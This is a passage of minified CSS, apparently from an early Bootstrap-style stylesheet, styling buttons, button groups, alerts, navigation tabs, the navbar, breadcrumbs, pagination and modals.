0.15s linear;-moz-transition:opacity 0.15s linear;-ms-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear;opacity:0;}.fade.in{opacity:1;} -.collapse{-webkit-transition:height 0.35s ease;-moz-transition:height 0.35s ease;-ms-transition:height 0.35s ease;-o-transition:height 0.35s ease;transition:height 0.35s ease;position:relative;overflow:hidden;height:0;}.collapse.in{height:auto;} -.close{float:right;font-size:20px;font-weight:bold;line-height:18px;color:#000000;text-shadow:0 1px 0 #ffffff;opacity:0.2;filter:alpha(opacity=20);}.close:hover{color:#000000;text-decoration:none;opacity:0.4;filter:alpha(opacity=40);cursor:pointer;} -.btn{display:inline-block;padding:4px 10px 4px;margin-bottom:0;font-size:13px;line-height:18px;color:#333333;text-align:center;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);vertical-align:middle;background-color:#f5f5f5;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-ms-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(top, #ffffff, #e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border:1px solid #ccc;border-bottom-color:#bbb;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);*margin-left:.3em;}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{background-color:#e6e6e6;} -.btn:active,.btn.active{background-color:#cccccc \9;} -.btn:first-child{*margin-left:0;} -.btn:hover{color:#333333;text-decoration:none;background-color:#e6e6e6;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-ms-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear;} -.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} -.btn.active,.btn:active{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);background-color:#e6e6e6;background-color:#d9d9d9 \9;outline:0;} -.btn.disabled,.btn[disabled]{cursor:default;background-image:none;background-color:#e6e6e6;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} -.btn-large{padding:9px 14px;font-size:15px;line-height:normal;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} -.btn-large [class^="icon-"]{margin-top:1px;} -.btn-small{padding:5px 9px;font-size:11px;line-height:16px;} -.btn-small [class^="icon-"]{margin-top:-1px;} -.btn-mini{padding:2px 6px;font-size:11px;line-height:14px;} -.btn-primary,.btn-primary:hover,.btn-warning,.btn-warning:hover,.btn-danger,.btn-danger:hover,.btn-success,.btn-success:hover,.btn-info,.btn-info:hover,.btn-inverse,.btn-inverse:hover{text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);color:#ffffff;} -.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-dark.active{color:rgba(255, 255, 255, 0.75);} -.btn-primary{background-color:#006dcc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-ms-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(top, #0088cc, #0044cc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{background-color:#0044cc;} -.btn-primary:active,.btn-primary.active{background-color:#003399 \9;} -.btn-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-ms-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(top, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{background-color:#f89406;} -.btn-warning:active,.btn-warning.active{background-color:#c67605 \9;} -.btn-danger{background-color:#da4f49;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-ms-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(top, #ee5f5b, #bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{background-color:#bd362f;} -.btn-danger:active,.btn-danger.active{background-color:#942a25 \9;} -.btn-success{background-color:#5bb75b;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-ms-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(top, #62c462, #51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{background-color:#51a351;} -.btn-success:active,.btn-success.active{background-color:#408140 \9;} -.btn-info{background-color:#49afcd;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-ms-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(top, #5bc0de, #2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{background-color:#2f96b4;} -.btn-info:active,.btn-info.active{background-color:#24748c \9;} -.btn-inverse{background-color:#393939;background-image:-moz-linear-gradient(top, #454545, #262626);background-image:-ms-linear-gradient(top, #454545, #262626);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#454545), to(#262626));background-image:-webkit-linear-gradient(top, #454545, #262626);background-image:-o-linear-gradient(top, #454545, #262626);background-image:linear-gradient(top, #454545, #262626);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#454545', endColorstr='#262626', GradientType=0);border-color:#262626 #262626 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{background-color:#262626;} -.btn-inverse:active,.btn-inverse.active{background-color:#0c0c0c \9;} -button.btn,input[type="submit"].btn{*padding-top:2px;*padding-bottom:2px;}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0;} -button.btn.large,input[type="submit"].btn.large{*padding-top:7px;*padding-bottom:7px;} -button.btn.small,input[type="submit"].btn.small{*padding-top:3px;*padding-bottom:3px;} -.btn-group{position:relative;*zoom:1;*margin-left:.3em;}.btn-group:before,.btn-group:after{display:table;content:"";} -.btn-group:after{clear:both;} -.btn-group:first-child{*margin-left:0;} -.btn-group+.btn-group{margin-left:5px;} -.btn-toolbar{margin-top:9px;margin-bottom:9px;}.btn-toolbar .btn-group{display:inline-block;*display:inline;*zoom:1;} -.btn-group .btn{position:relative;float:left;margin-left:-1px;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} -.btn-group .btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} -.btn-group .btn:last-child,.btn-group .dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;} -.btn-group .btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;} -.btn-group .btn.large:last-child,.btn-group .large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;} -.btn-group .btn:hover,.btn-group .btn:focus,.btn-group .btn:active,.btn-group .btn.active{z-index:2;} -.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0;} -.btn-group .dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125),inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);*padding-top:5px;*padding-bottom:5px;} -.btn-group.open{*z-index:1000;}.btn-group.open .dropdown-menu{display:block;margin-top:1px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} -.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 6px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05);} -.btn .caret{margin-top:7px;margin-left:0;} -.btn:hover .caret,.open.btn-group .caret{opacity:1;filter:alpha(opacity=100);} -.btn-primary .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#ffffff;opacity:0.75;filter:alpha(opacity=75);} -.btn-small .caret{margin-top:4px;} -.alert{padding:8px 35px 8px 14px;margin-bottom:18px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.alert,.alert-heading{color:#c09853;} -.alert .close{position:relative;top:-2px;right:-21px;line-height:18px;} -.alert-success{background-color:#dff0d8;border-color:#d6e9c6;} -.alert-success,.alert-success .alert-heading{color:#468847;} -.alert-danger,.alert-error{background-color:#f2dede;border-color:#eed3d7;} -.alert-danger,.alert-error,.alert-danger .alert-heading,.alert-error .alert-heading{color:#b94a48;} -.alert-info{background-color:#d9edf7;border-color:#bce8f1;} -.alert-info,.alert-info .alert-heading{color:#3a87ad;} -.alert-block{padding-top:14px;padding-bottom:14px;} -.alert-block>p,.alert-block>ul{margin-bottom:0;} -.alert-block p+p{margin-top:5px;} -.nav{margin-left:0;margin-bottom:18px;list-style:none;} -.nav>li>a{display:block;} -.nav>li>a:hover{text-decoration:none;background-color:#eeeeee;} -.nav .nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:18px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase;} -.nav li+.nav-header{margin-top:9px;} -.nav-list{padding-left:14px;padding-right:14px;margin-bottom:0;} -.nav-list>li>a,.nav-list .nav-header{margin-left:-15px;margin-right:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} -.nav-list>li>a{padding:3px 15px;} -.nav-list .active>a,.nav-list .active>a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc;} -.nav-list [class^="icon-"]{margin-right:2px;} -.nav-tabs,.nav-pills{*zoom:1;}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:"";} -.nav-tabs:after,.nav-pills:after{clear:both;} -.nav-tabs>li,.nav-pills>li{float:left;} -.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px;} -.nav-tabs{border-bottom:1px solid #ddd;} -.nav-tabs>li{margin-bottom:-1px;} -.nav-tabs>li>a{padding-top:9px;padding-bottom:9px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd;} -.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555555;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} -.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} -.nav-pills .active>a,.nav-pills .active>a:hover{color:#ffffff;background-color:#0088cc;} -.nav-stacked>li{float:none;} -.nav-stacked>li>a{margin-right:0;} -.nav-tabs.nav-stacked{border-bottom:0;} -.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} -.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;} -.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;} -.nav-tabs.nav-stacked>li>a:hover{border-color:#ddd;z-index:2;} -.nav-pills.nav-stacked>li>a{margin-bottom:3px;} -.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px;} -.nav-tabs .dropdown-menu,.nav-pills .dropdown-menu{margin-top:1px;border-width:1px;} -.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.nav-tabs .dropdown-toggle .caret,.nav-pills .dropdown-toggle .caret{border-top-color:#0088cc;margin-top:6px;} -.nav-tabs .dropdown-toggle:hover .caret,.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;} -.nav-tabs .active .dropdown-toggle .caret,.nav-pills .active .dropdown-toggle .caret{border-top-color:#333333;} -.nav>.dropdown.active>a:hover{color:#000000;cursor:pointer;} -.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>.open.active>a:hover{color:#ffffff;background-color:#999999;border-color:#999999;} -.nav .open .caret,.nav .open.active .caret,.nav .open a:hover .caret{border-top-color:#ffffff;opacity:1;filter:alpha(opacity=100);} -.tabs-stacked .open>a:hover{border-color:#999999;} -.tabbable{*zoom:1;}.tabbable:before,.tabbable:after{display:table;content:"";} -.tabbable:after{clear:both;} -.tab-content{overflow:hidden;} -.tabs-below .nav-tabs,.tabs-right .nav-tabs,.tabs-left .nav-tabs{border-bottom:0;} -.tab-content>.tab-pane,.pill-content>.pill-pane{display:none;} -.tab-content>.active,.pill-content>.active{display:block;} -.tabs-below .nav-tabs{border-top:1px solid #ddd;} -.tabs-below .nav-tabs>li{margin-top:-1px;margin-bottom:0;} -.tabs-below .nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;}.tabs-below .nav-tabs>li>a:hover{border-bottom-color:transparent;border-top-color:#ddd;} -.tabs-below .nav-tabs .active>a,.tabs-below .nav-tabs .active>a:hover{border-color:transparent #ddd #ddd #ddd;} -.tabs-left .nav-tabs>li,.tabs-right .nav-tabs>li{float:none;} -.tabs-left .nav-tabs>li>a,.tabs-right .nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px;} -.tabs-left .nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd;} -.tabs-left .nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;} -.tabs-left .nav-tabs>li>a:hover{border-color:#eeeeee #dddddd #eeeeee #eeeeee;} -.tabs-left .nav-tabs .active>a,.tabs-left .nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff;} -.tabs-right .nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd;} -.tabs-right .nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} -.tabs-right .nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #eeeeee #dddddd;} -.tabs-right .nav-tabs .active>a,.tabs-right .nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff;} -.navbar{overflow:visible;margin-bottom:18px;} -.navbar-inner{padding-left:20px;padding-right:20px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.25),inset 0 -1px 0 rgba(0, 0, 0, 0.1);} -.btn-navbar{display:none;float:right;padding:7px 10px;margin-left:5px;margin-right:5px;background-color:#2c2c2c;background-image:-moz-linear-gradient(top, #333333, #222222);background-image:-ms-linear-gradient(top, #333333, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#333333), to(#222222));background-image:-webkit-linear-gradient(top, #333333, #222222);background-image:-o-linear-gradient(top, #333333, #222222);background-image:linear-gradient(top, #333333, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#333333', endColorstr='#222222', GradientType=0);border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1),0 1px 0 rgba(255, 255, 255, 0.075);}.btn-navbar:hover,.btn-navbar:active,.btn-navbar.active,.btn-navbar.disabled,.btn-navbar[disabled]{background-color:#222222;} -.btn-navbar:active,.btn-navbar.active{background-color:#080808 \9;} -.btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);} -.btn-navbar .icon-bar+.icon-bar{margin-top:3px;} -.nav-collapse.collapse{height:auto;} -.navbar .brand:hover{text-decoration:none;} -.navbar .brand{float:left;display:block;padding:8px 20px 12px;margin-left:-20px;font-size:20px;font-weight:200;line-height:1;color:#ffffff;} -.navbar .navbar-text{margin-bottom:0;line-height:40px;color:#999999;}.navbar .navbar-text a:hover{color:#ffffff;background-color:transparent;} -.navbar .btn,.navbar .btn-group{margin-top:5px;} -.navbar .btn-group .btn{margin-top:0;} -.navbar-form{margin-bottom:0;*zoom:1;}.navbar-form:before,.navbar-form:after{display:table;content:"";} -.navbar-form:after{clear:both;} -.navbar-form input,.navbar-form select{display:inline-block;margin-top:5px;margin-bottom:0;} -.navbar-form .radio,.navbar-form .checkbox{margin-top:5px;} -.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px;} -.navbar-form .input-append,.navbar-form .input-prepend{margin-top:6px;white-space:nowrap;}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0;} -.navbar-search{position:relative;float:left;margin-top:6px;margin-bottom:0;}.navbar-search .search-query{padding:4px 9px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;color:#ffffff;color:rgba(255, 255, 255, 0.75);background:#666;background:rgba(255, 255, 255, 0.3);border:1px solid #111;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1),0 1px 0px rgba(255, 255, 255, 0.15);-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none;}.navbar-search .search-query :-moz-placeholder{color:#eeeeee;} -.navbar-search .search-query::-webkit-input-placeholder{color:#eeeeee;} -.navbar-search .search-query:hover{color:#ffffff;background-color:#999999;background-color:rgba(255, 255, 255, 0.5);} -.navbar-search .search-query:focus,.navbar-search .search-query.focused{padding:5px 10px;color:#333333;text-shadow:0 1px 0 #ffffff;background-color:#ffffff;border:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15);outline:0;} -.navbar-fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030;} -.navbar-fixed-top .navbar-inner{padding-left:0;padding-right:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} -.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0;} -.navbar .nav.pull-right{float:right;} -.navbar .nav>li{display:block;float:left;} -.navbar .nav>li>a{float:none;padding:10px 10px 11px;line-height:19px;color:#999999;text-decoration:none;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);} -.navbar .nav>li>a:hover{background-color:transparent;color:#ffffff;text-decoration:none;} -.navbar .nav .active>a,.navbar .nav .active>a:hover{color:#ffffff;text-decoration:none;background-color:#222222;} -.navbar .divider-vertical{height:40px;width:1px;margin:0 9px;overflow:hidden;background-color:#222222;border-right:1px solid #333333;} -.navbar .nav.pull-right{margin-left:10px;margin-right:0;} -.navbar .dropdown-menu{margin-top:1px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.navbar .dropdown-menu:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-bottom-color:rgba(0, 0, 0, 0.2);position:absolute;top:-7px;left:9px;} -.navbar .dropdown-menu:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #ffffff;position:absolute;top:-6px;left:10px;} -.navbar .nav .dropdown-toggle .caret,.navbar .nav .open.dropdown .caret{border-top-color:#ffffff;} -.navbar .nav .active .caret{opacity:1;filter:alpha(opacity=100);} -.navbar .nav .open>.dropdown-toggle,.navbar .nav .active>.dropdown-toggle,.navbar .nav .open.active>.dropdown-toggle{background-color:transparent;} -.navbar .nav .active>.dropdown-toggle:hover{color:#ffffff;} -.navbar .nav.pull-right .dropdown-menu{left:auto;right:0;}.navbar .nav.pull-right .dropdown-menu:before{left:auto;right:12px;} -.navbar .nav.pull-right .dropdown-menu:after{left:auto;right:13px;} -.breadcrumb{padding:7px 14px;margin:0 0 18px;background-color:#fbfbfb;background-image:-moz-linear-gradient(top, #ffffff, #f5f5f5);background-image:-ms-linear-gradient(top, #ffffff, #f5f5f5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f5f5f5));background-image:-webkit-linear-gradient(top, #ffffff, #f5f5f5);background-image:-o-linear-gradient(top, #ffffff, #f5f5f5);background-image:linear-gradient(top, #ffffff, #f5f5f5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f5f5f5', GradientType=0);border:1px solid #ddd;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;}.breadcrumb li{display:inline-block;text-shadow:0 1px 0 #ffffff;} -.breadcrumb .divider{padding:0 5px;color:#999999;} -.breadcrumb .active a{color:#333333;} -.pagination{height:36px;margin:18px 0;} -.pagination ul{display:inline-block;*display:inline;*zoom:1;margin-left:0;margin-bottom:0;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);} -.pagination li{display:inline;} -.pagination a{float:left;padding:0 14px;line-height:34px;text-decoration:none;border:1px solid #ddd;border-left-width:0;} -.pagination a:hover,.pagination .active a{background-color:#f5f5f5;} -.pagination .active a{color:#999999;cursor:default;} -.pagination .disabled a,.pagination .disabled a:hover{color:#999999;background-color:transparent;cursor:default;} -.pagination li:first-child a{border-left-width:1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} -.pagination li:last-child a{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} -.pagination-centered{text-align:center;} -.pagination-right{text-align:right;} -.pager{margin-left:0;margin-bottom:18px;list-style:none;text-align:center;*zoom:1;}.pager:before,.pager:after{display:table;content:"";} -.pager:after{clear:both;} -.pager li{display:inline;} -.pager a{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;} -.pager a:hover{text-decoration:none;background-color:#f5f5f5;} -.pager .next a{float:right;} -.pager .previous a{float:left;} -.modal-open .dropdown-menu{z-index:2050;} -.modal-open .dropdown.open{*z-index:2050;} -.modal-open .popover{z-index:2060;} -.modal-open .tooltip{z-index:2070;} -.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000;}.modal-backdrop.fade{opacity:0;} -.modal-backdrop,.modal-backdrop.fade.in{opacity:0.8;filter:alpha(opacity=80);} -.modal{position:fixed;top:50%;left:50%;z-index:1050;max-height:500px;overflow:auto;width:560px;margin:-250px 0 0 